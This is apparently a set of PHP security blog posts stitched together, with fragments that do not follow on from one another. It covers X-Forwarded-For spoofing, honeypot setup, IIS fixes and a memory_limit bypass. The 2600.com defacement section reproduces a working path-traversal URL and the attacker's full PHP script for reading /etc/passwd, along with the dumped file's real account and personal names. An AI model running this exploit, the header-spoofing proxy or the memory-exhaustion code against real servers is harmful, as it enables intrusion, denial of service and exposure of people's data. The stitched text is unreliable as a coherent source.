For this I’ll be using the following small PHP script, which can be quickly run by the command line PHP webserver added in PHP 5.4:
<?php header('Content-Type: text/html; charset=utf-8'); ?>
<code><pre>
GETs: <?php print_r($_GET); ?>
POSTs: <?php print_r($_POST); ?>
</pre></code>
We’ll test this with the following Python script:
#!/usr/bin/python
# vim: set fileencoding=utf-8 :
import urllib
import urllib2
params = {'name': u'東京'}
params = { k: v.encode('utf-8') for k, v in params.iteritems() }
data = urllib.urlencode(params)
url = 'http://localhost:8000/?' + data
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
print response.read()
This all works well and nicely, so here are some conclusions:
By taking the lowest 7 bits of each of the first eight characters of the key, a 56-bit key is obtained.
Other software can also be exposed indirectly to this issue, for example PHP contains a binding to crypt which can use the old (insecure) way for generating hashes.
In conclusion:
It is easy for someone not working daily with these ranges to mistake an IP close to these ranges as private, like 196.168.1.2. An other source of confusion can come from the less intuitive range for the B class (for example the address 172.15.80.1 is public and routable)
Now for the actual cause: my first (and, as it turns out, correct) intuition was that the software was trying to be too clever for its own good and was parsing the “X-Forwarded-For” header. This header can be added by proxies to indicate the original source of the request, but – as other user input – can be relatively easily spoofed by the client. For example below is a small Perl script, which uses HTTP::Proxy and adds an arbitrary X-Forwarded-For header to your requests (you can find the most up-to-date version of the script in my SVN repository):
#!/usr/bin/perl
use strict;
use warnings;
use HTTP::Proxy;
use HTTP::Proxy::HeaderFilter::simple;
use Data::Dumper;
my $proxy = HTTP::Proxy->new;
$proxy->x_forwarded_for(0);
$proxy->port(3128);
$proxy->push_filter(
mime => undef,
request => HTTP::Proxy::HeaderFilter::simple->new(
sub { $_[1]->header('X-Forwarded-For' => '10.1.2.3') },
),
);
$proxy->start;
There are a couple of issues here:
if (!array_key_exists('ip', $this->arrCache)) { $this->arrCache['ip'] = strlen($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; }. As you can see, both REMOTE_ADDR and X_FORWARDED_FOR were obtained from the same array, even though REMOTE_ADDR is much more trust-worthy (not counting issues like route-hijacking) The conclusion is that you must take great care in determining which input parameter can be controlled by whom and under what condition and make your judgment call on filtering and escaping depending on that. When in doubt, filter. It is better to loose a couple of milliseconds in performance than ending up with a p0wned infrastructure.
Update: An other possible dangerous situation can be when a reverse proxy is in front of one or more webservers. With this setup the developer can easily get the impression that the X-Forwarded-For header is controlled by our proxy, so it is safe to use the values from it without filtering, right? Wrong! A quick look at two widely used solutions (Apache and Squid) show that both can be configured to concatenate the user supplied value with the IP address. In fact, this is the default behaviour for mod_proxy.
Speaking of p0wned infrastructure, apparently 2600.com was defaced for a short period of time in the weekend and contained the following piece of output (archived for posterity):
Go Hack Tetris!
o_O
O_o
^_O
www.gosu.pl/tetris/
http://www.2600.com/cuba/index.khtml?post=.///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////../../../../../etc/passwd
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin
ftp:*:21:21:Anonymous FTP:/u/ftp:/sbin/nologin
sshd:*:22:65533:sshd unprivileged processes:/:/sbin/nologin
postfix:*:25:25:Postfix Mail System:/nonexistent:/nonexistent
bind:*:53:53:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin
apache:*:80:80:Apache:/nonexistent:/sbin/nologin
apache2:*:8080:80:Apache:/nonexistent:/sbin/nologin
webstats:*:81:83:Web Statistics:/nonexistent:/sbin/nologin
thttpd:*:82:82:thttpd web server:/nonexistent:/sbin/nologin
htproxy:*:85:85:http proxy server:/nonexistent:/sbin/nologin
audit:*:87:87:system audit processes:/nonexistent:/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/sbin/nologin
namazu:*:89:89:Namazu Database:/var/db/namazu:/sbin/nologin
apache2:*:90:90:World Wide Web Owner:/nonexistent:/sbin/nologin
ash:*:1000:1000:ash:/home/ash:/bin/tcsh
emmanuel:*:1001:20:emmanuel:/home/emmanuel:/bin/tcsh
mec:*:1002:1002:mec:/home/mec:/sbin/nologin
omar:*:1003:1003:omar:/home/omar:/sbin/nologin
marko:*:1004:1004:marko:/home/marko:/sbin/nologin
kerry:*:1005:1005:kerry:/home/kerry:/bin/tcsh
juintz:*:1006:1006:juintz:/home/juintz:/bin/tcsh
css:*:1007:1007:carl shapiro:/home/css:/bin/tcsh
kpx:*:1008:1008:kpx:/home/kpx:/sbin/nologin
lgonze:*:1009:1009:lgonze:/home/lgonze:/sbin/nologin
mlc:*:1010:1010:mlc:/home/mlc:/bin/tcsh
ashcroft:*:1011:1011:ashcroft:/home/ashcroft:/usr/local/bin/noshell
ortbot:*:2001:2001:www.ortinstitute.org automated processes:/nonexistent:/sbin/nologin
lexnex:*:2002:2002:lexnex:/home/lexnex:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
sephail:*:1012:1012:Joseph Battaglia:/home/sephail:/sbin/nologin
redhackt:*:1013:1013:Red Hackt:/home/redhackt:/bin/tcsh
thedave:*:1014:1014:Dave Buchwald:/home/thedave:/bin/tcsh
phiber:*:1015:1015:Phiber:/home/phiber:/bin/tcsh
mark:*:1016:1016:Mark:/home/mark:/usr/local/bin/bash
<?php
// current path: $webroot = "/u/www/www.2600.com";
$file = '../../../etc/passwd';
// file can also be a directory name (must end with a slash) - gives directory structure, file_get_contents bug??
// its a little obfuscated with some random chars, but readable
// ------
$save = 'sources/';
$url = 'http://www.2600.com/cuba/index.khtml?post=';
$post = './/../../'.$file;
$overflow = 993;
while (strlen($post) < $overflow) {
$post = str_replace('.//', './//', $post);
}
$url = $url . $post;
$cont = curl_cont($url);
preg_match('#<div id='blog'>s*<strong>[^<>]+</strong>s*<br>([sS]+)</div>s*<div class='clears'>s*</div>#Ui', $cont, $match);
$cont = $match[1];
$cont = preg_replace('#(rn|n|r)<br>(rn|n|r)(rn|n|r)<br>(rn|n|r)#', "rnrn", $cont);
$cont = preg_replace('#<br>(rn|n|r)#', "rn", $cont);
$cont = trim($cont);
if (!$cont) {
echo 'failed';
exit;
}
highlight_string($cont);
if (!function_exists('fput')) {
function fput($f, $s)
{
$fp = fopen($f, 'w');
fwrite($fp, $s);
fclose($fp);
}
}
$file = str_replace('http://www.2600.com/cuba/index.khtml?post=', '', $url);
$file = str_replace('../', '', $file);
$file = str_replace('./', '', $file);
$file = preg_replace('#/{2,}#', '', $file);
$file = str_replace('/', '-', $file);
if (!$file) {
$file = '__index';
}
if ($file) {
$file = $save.$file;
if (!file_exists($file)) {
@fput($file, $cont);
}
}
function curl_cont($url, $options = array())
{
$page = curl_get($url, $options);
if (200 == $page['http_code']) {
return $page['cont'];
}
return null;
}
function curl_get($url, $options = array())
{
$url = str_replace(' ', '%20', $url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, isset($options['include_header']) ? $options['include_header'] : 0);
if (substr($url, 0, strlen('https')) == 'https') {
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if (isset($options['userpwd'])) {
curl_setopt($ch, CURLOPT_USERPWD, $options['userpwd']);
}
if (isset($options['timeout'])) {
$timeout = ceil($options['timeout']);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
}
if (isset($options['max_size'])) {
$range = "0-{$options['max_size']}";
curl_setopt($ch, CURLOPT_RANGE, $range);
}
if (isset($options['referer'])) {
curl_setopt($ch, CURLOPT_REFERER, $options['referer']);
}
// example agent: 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'
if (isset($options['agent'])) {
curl_setopt($ch, CURLOPT_USERAGENT, $options['agent']);
}
if (isset($options['headers'])) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $options['headers']);
}
if (isset($options['cookie']) && count($options['cookie'])) {
$cookie = '';
foreach ($options['cookie'] as $name => $value) {
$cookie .= sprintf('%s=%s; ', $name, urlencode($value));
}
$cookie = trim($cookie);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
$cont = curl_exec($ch);
$error = curl_error($ch);
if ($error) {
trigger_error('curl_exec() failed: '.$error, E_USER_ERROR);
}
$inf = curl_getinfo($ch);
$inf['cont'] = $cont;
curl_close($ch);
return $inf;
}
?>
Picture taken from Simon Strandgaard’s photostream with permission.
]]>S When a pattern is going to be used several times, it is worth spending more time analyzing it in order to speed up the time taken for matching. If this modifier is set, then this extra analysis is performed. At present, studying a pattern is useful only for non-anchored patterns that do not have a single fixed starting character.
My questions were: (a) what exactly does it mean by “using”, since PHP doesn’t have the concept of “compiling” regular expressions like other languages have and (b) in which cases are these optimizations useful?
The first useful information about the issue I found on stackoverlow, where a comment by EBGreen mentioned the book “Mastering Regular Expressions” by Jeffrey Friedl. You can take a peek into the book using books.google.com. Starting with page 478 it discusses efficiency issues in PHP, including the S modifier. A quote from it:
Currently, the situations where study can and can’t help are fairly well defined: it enhances what Chapter 6 calls the initial class discrimination optimization.
This is essentially the same as the explanation from the manual, however it also gives an example which makes the issue clearer:
Let’s say that you have the regex /0x[a-f0-9]+/i. It is pretty clear that a match is possible in the string where we find a zero, and it makes no sense for the regex engine to try matching in other places (and in fact, it doesn’t). However, if we have an expressions like the following /<i>|<b>|<em>/i, it is still clear to the human observer that only places containing “<” can be a starting point for the match, however the regex engine doesn’t know this, unless the S flag is specified and it has the chance to perform some analysis on the regex.
Now lets put some relative numbers to this explanation: I used preg_match_all with an expression similar to the second one in a loop to extract all the matches from from a ~20MB string 10 000 times. However the variation was less than 2% (in absolute terms this would mean less than 2 seconds on my machine – this also falls below the statistically significant threshold, since between different runs was ~50%). Given that most applications do far fewer calls to the PCRE library on much shorter strings, the S modifier for the moment doesn’t seem have a noticeable performance impact.
Finally, here is an interesting presentation about writing a compiler for PHP from the Google Tech-Talks collection:
Picture taken from Geek&Poke’s photostream with permission.
]]>So next time you want to do something, take a look around, maybe there is a PHP function which already does what you want (or almost what you want). Admittedly, the organization (naming) of the functions is not always the most consistent, intuitive one, but the searching effort is well worth it.
Picture taken from triplezero’s photostream with permission.
]]>How does it work (idea taken from the glastopf project):
This method is based on the observation that most (automated) RFI attempts begin by inserting a basic script to output system information (like the OS version, PHP version, etc). The emulation tries to find these cases and output something realistically looking enough so that the next stage of the RFI is triggered.
What do you need?
Activating the emulation is rather straight forward – you only need to add the following two lines in your config.local file:
fetch_rfi=1 emulate_rfi=1
The prerequisites for it to function are: (a) the webserver has to have the possibility to make outbund connections and (b) one of the following methods of fetching remote files with PHP needs to be activate: the curl extension, allow_url_fopen or sockets.
Warning! Allowing outbound connections from the webserver lessens its security considerably, so you only should do it on test machines.
Have fun!
PS. A bonus tip: if you set loglevel to at least the value of 4, all requests are written to your logfile, in addition to it being sent to SANS. This can be useful if you yourself are interested in the attempts of the “bad guys” to compromise your security.
Picture taken from Cyron’s photostream with permission.
]]>An other assumption I make is that you have a separate Linux machine. The techniques can be also adapted to Windows, but it is easier on Linux.
The first step is to make more space. Typical routers come equipped with small amount of flash (between 8 and 20MB), which isn’t even enough to install all the packages. This means that some kind of external storage needs to employed. In this example I’m assuming that an USB flash drive is used (a hidden assumption also is that the router in question has USB ports – for example some of the older WRT54Gs don’t, but ASUS 500 series do).
opkg update (in version 8.09 the list of packages is kept in RAM, so it needs to refreshed after each reboot)
opkg install kmod-usb-uhci kmod-usb2 kmod-usb-storage kmod-fs-ext3
# The insmod commands might not be necessary, because I got the message
# "insmod: a module named X already exists" for all of them, but better
# safe than sorry
insmod usbcore
insmod uhci
insmod ehci-hcd
insmod scsi_mod
insmod sd_mod
insmod usb-storage
insmod ext3
sudo cfdisk /dev/sdx #delete other partitions and create a Linux partition
mkfs.ext2 -j /dev/sdx1 #make sure to use the correct device :-)
You might also want to consider dedicating part of the stick to swap (since the RAM of the router is also quite limited)
mkdir /mnt/usbstick
mount /dev/scsi/host0/bus0/target0/lun0/part1 /mnt/usbstick
This elaborate dance in needed because opkg (the package manager) insists on having X amount of free space on / before starting the install, even if /usr (where the packages will ultimately end up) is mounted from a separate device. opkg does have options which theoretically can work around this problem, however I couldn’t use them successfully.
mkdir /mnt/usbstick/usr_backup
# these commands will take some time
cp -R /usr/* /mnt/usbstick
cp -R /usr/* /mnt/usbstick/usr_backup
rm -rf /usr/*
umount /mnt/usbstick
mount /dev/scsi/host0/bus0/target0/lun0/part1 /usr
# now install the new packages. a few comments:
# - nano is so that we can do some basic text editing (yeah, vi is too hard for me :-))
# - php5-cli is needed because in the future an update capability will be added to
# the webhoneypot, which will be run from the command line
# - php5-mod-curl - it is possible that this will be a dependency in the future
# - php5-mod-openssl - the updates will be (possibly) done trough SSL in the future
opkg install lighttpd lighttpd-mod-cgi lighttpd-mod-rewrite nano php5 php5-cli
php5-mod-curl php5-mod-openssl php5-mod-pcre php5-mod-sockets
# now copy back everything to /usr
umount /usr
mount /dev/scsi/host0/bus0/target0/lun0/part1 /mnt/usbstick
cp -R /mnt/usbstick/usr_backup/* /usr/
# and remount the stick again
umount /mnt/usbstick
mount /dev/scsi/host0/bus0/target0/lun0/part1 /usr
Now we have the packages installed. What follows is the fetching of the honeypot code from the repository and its installation to the router.
svn export http://webhoneypot.googlecode.com/svn/trunk/ lighttpd.conf
server.modules = ("mod_rewrite", "mod_cgi")
server.document-root = "/usr/wh/html/"
server.upload-dirs = ( "/tmp/" )
server.errorlog = "/usr/wh/logs/lighttpd_error.log"
index-file.names = ( "index.php", "index.html",
static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
server.port = 80
server.bind = "0.0.0.0"
server.pid-file = "/var/run/lighttpd.pid"
dir-listing.encoding = "utf-8"
server.dir-listing = "disable"
url.rewrite-once = ( "^/(.*)$" => "/index.php/$1" )
cgi.assign = ( ".php" => "/usr/bin/php-cgi" )
# debug.log-request-handling = "enable"
php.ini
[PHP] engine = On short_open_tag = Off asp_tags = Off output_buffering = Off max_execution_time = 5 max_input_time = 60 memory_limit = 8M error_reporting = E_ALL & ~E_NOTICE register_globals = Off post_max_size = 8M magic_quotes_gpc = Off magic_quotes_runtime = Off extension_dir = "./" enable_dl = Off cgi.force_redirect = 1 file_uploads = Off allow_url_fopen = On allow_url_include = Off apc.enabled = Off extension_dir = "/usr/lib/php/" extension=pcre.so
We set up lighttpd to run PHP scripts using the CGI protocol (FastCGI would be more efficient, but also more complicated). The steps were adapted from this tutorial. The php.ini file is needed for two reasons: first, Perl regex support is not compiled into the PHP binary, so we must load it. Second APC support is compiled into the PHP library, so we must disable it, since it tries to allocate 32M of memory by default, which makes PHP fail, since we have around 20M of memory in total :-). To test that your PHP installation is workin, issue the following command on the router: /usr/bin/php-cgi -v It should output some basic information about PHP (lik version, copyright, etc). If it fails because of the APC cache, it outputs error message like the one described here: [apc-error] apc_shm_create: shmget(0, 8388608, 658) failed: No error. It is possible that the chosen SHM segment size is higher than the operation system allows. Linux has usually a default limit of 32MB per segment.
# on the router:
mkdir /usr/wh
# on the Linux box - replace 192.168.1.1 with your router's IP
scp -r * [email protected]:/usr/wh
# on the router:
mkdir /etc/lighttpd
mv /usr/wh/lighttp.conf /etc/lighttpd
mv /usr/wh/php.ini /usr/bin
# start the webserver
lighttpd /etc/lighttpd/lighttp.conf Check that everything is working by accessing the address http://192.168.1.1/phpbb/ from you box (where 192.168.1.1 should be replaced with your router’s address) nano /usr/wh/etc/config.local. One thing I would suggest is to add loglevel=4 to it, so that the request details are also stored locally. Picture taken from mightyohm’s photostream with permission.
]]>If you are trying to install PHP under the default configuration of IIS7 with Windows 7 (and presumably Vista & Server 2008, but I observed it under Win7), you might run into problems (for example getting “Service Unavailable” errors). Here is how I managed to fix them:
First, make sure that you’ve installed all the “Application Development Features” as shown in the screenshot below. They are not installed by default and at least some of them are mandatory for being able to load PHP (I would assume that they are “CGI” and “ISAPI Filters” / “ISAPI Extensions”), but install them all, just to be on the safe side.
Now (from an Administrator command line) go to the “C:Windowssystem32inetsrvconfig” directory and open up the file “applicationHost.config” with notepad. Remove all the references to PHP. Finally, re-add the *php <-> php5isapi.dll script mapping. Make sure that all your apppools are started and now everything should work.
I got some of the advice from this blogpost: Where did my IIS7 server go? Troubleshooting 503 "service unavailable" errors. Picture taken from psd’s photostream with permission.
]]>More info:
Conclusions? Patch, patch, patch. Follow milw0rm (and other similar lists) for applications which you use. Use layered defense. Proper usage of all the PHP security features would have prevented this. A useful tool is PhpSecInfo which contains security audit rules and verifies that proper settings are applied on your server.
register_globals can be disabled from the .htaccess file if you can’t modify php.ini directly:
php_flag register_globals off
If you can’t do even that, you can use a script like the one below in each of your pages:
if (ini_get('register_globals') == 'on') {
foreach ($_REQUEST as $key => $val) {
unset($key);
}
}
These solutions are of course error-prone (and not strictly related to the PHPBB hack), but they are better than nothing.
Image taken from AdamR’s photostream whit permission.
]]>Reading the documentation it states: Changeable – PHP_INI_ALL, meaning that you can change it using ini_set from the script itself. Even worse, it goes on to say: “Note that to have no memory limit, set this directive to -1”. So I whipped together a small testcode:
<?php
ini_set('memory_limit', -1);
$a = array();
for($i = 0; $i < 10000000; ++$i)
$a[] = 'foobard!';
print memory_get_usage();
And managed to allocate a whopping 979MB with the php.ini setting being 16MB! As far as I can tell, there is no way to enforce the memory limit set in php.ini! Suhosin doesn't seem to do it and neither does safe-mode.
What does this mean? Well, if the user is allowed to run PHP scripts in any shape or form (this includes scripts run trough RFI) they can DoS your server back to the stone age! This also means that on a shared host any client can take down the server!
How can you defend against it? As far as I can tell, there is no easy solution... Depending on your OS and HTTP server, there might be configurations provided by those to limit the damage. A workaround would be do disable ini_set (using the "disable_functions" directive), but this might break some applications.
PS. Of course the documentation says: "This helps prevent poorly written scripts for eating up all available memory on a server." - ie "this isn't a security feature" - but still, shouldn't there be some way to limit this?
Update: correction - suhosin can limit the maximum amount of allocated memory but it this feature is switched off by default. Sorry for doubting suhosin - this is something every PHP install should include (in fact: it is something the PHP core should include, but apparently their ego doesn't allow for this).
]]>